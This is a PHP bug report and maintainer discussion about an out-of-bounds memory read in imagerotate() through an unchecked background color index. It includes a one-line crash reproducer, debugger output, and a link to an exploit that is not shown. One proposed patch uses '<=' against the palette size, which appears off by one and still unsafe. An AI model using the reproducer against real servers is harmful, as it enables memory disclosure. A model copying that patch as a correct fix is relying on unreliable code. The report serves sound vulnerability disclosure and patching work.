Description:
------------
This is the function prototype for ImageRotate:

resource imagerotate ( resource $image , float $angle , int $bgd_color [, int $ignore_transparent = 0 ] )


$bgd_color specifies the background color of an image have it has been rotated. This is passed in as an integer that represents an index to the color palette.

There is a lack of validation of $bgd_color. One can pass in a large number that exceeds the color palette array. This reads memory beyond the color palette. Information of the memory leak can then be obtained via the background color after the image has been rotated.

Test script:
---------------
./configure --with-gd


1) Pass in a large $bgd_color:

php -r "imagerotate(imagecreate(1,1),45,0x7ffffff9);"


2) This causes it to crash at gd_interpolation.c:2174  :


Stopped reason: SIGSEGV

3) One can see that the color platte only has 256 entries:

gdb-peda$ ptype src
type = struct gdImageStruct {
......
    int red[256];
    int green[256];
    int blue[256];
....


4) Thus we are encountering an array index out of bounds.



5) I've created a full exploit that reads large contiguous chunk of memory. The POC can be obtained from https://www.dropbox.com/s/bwuivbug62ki4cs/gdImageRotateInterpolated_Array_Index_OOB_MEM_Read.php?dl=0

Hi,

Thanks for the patch!

It is however incomplete, gdMaxColors apply only to palette image. True colors image can have color values ARGB where the integer representation is bigger that gdMaxColors.

It should be:

 if (bgcolor < 0 || (!im->trueColor && bgcolor >= gdMaxColors)) {

I do not have git access right now, it would be nice if you can update the fix accordingly. Thanks!
 [2015-12-29 07:37 UTC] pajoye@php.net
As I took a 2nd thought about it, getting my memory back about what I did in this implementation, a better patch is to move this check after:

if (src->trueColor == 0) {
		if (bgcolor >= 0) {
			bgcolor =  gdTrueColorAlpha(src->red[bgcolor], src->green[bgcolor], src->blue[bgcolor], src->alpha[bgcolor]);
		}
		gdImagePaletteToTrueColor(src);
	}

As this function only accepts truecolor, it converts the image to truecolor prior to any operation.

The check only needs to be bgcolor < 0 then as true color values can be anything > 0.

I don't have permissions to see the commits but the first post by pajoye makes sense. The 2nd however doesn't IMHO. It is still exploitable if we do the check after:
if (src->trueColor == 0) {
		if (bgcolor >= 0) {
			bgcolor =  gdTrueColorAlpha(src->red[bgcolor], src->green[bgcolor], src->blue[bgcolor], src->alpha[bgcolor]);
		}
		gdImagePaletteToTrueColor(src);
	}
 [2015-12-29 07:47 UTC] stas@php.net
Not sure I got the last comment - if I move the check after using src->red[bgcolor], won't it be able to access src->red with invalid bgcolor values?
 [2015-12-29 07:57 UTC] pajoye@php.net
@emmanuel

You are right. Sorry for the confusion, some coffee is needed :)

the check should be done in this true clause (for palette images), like:
if (bgcolor < 0) {
	return NULL;
}

if (src->trueColor == 0) {
	if (bgcolor <= gdMaxColors) {
		bgcolor =  gdTrueColorAlpha(src->red[bgcolor], src->green[bgcolor], src->blue[bgcolor], src->alpha[bgcolor]);
	}
	gdImagePaletteToTrueColor(src);
}

The patch is wrong and is a BC break.  That will basically break for any true color image with a background color value > 256. gdMaxColors constant should never be used for truecolor images.



The test that should have modified is the one here:

https://github.com/php/php-src/blob/4bb422343f29f06b7081323844d9b52e1a71e4a5/ext/gd/libgd/gd_interpolation.c#L2165

See my last comment here.

I supposed it is already released right?
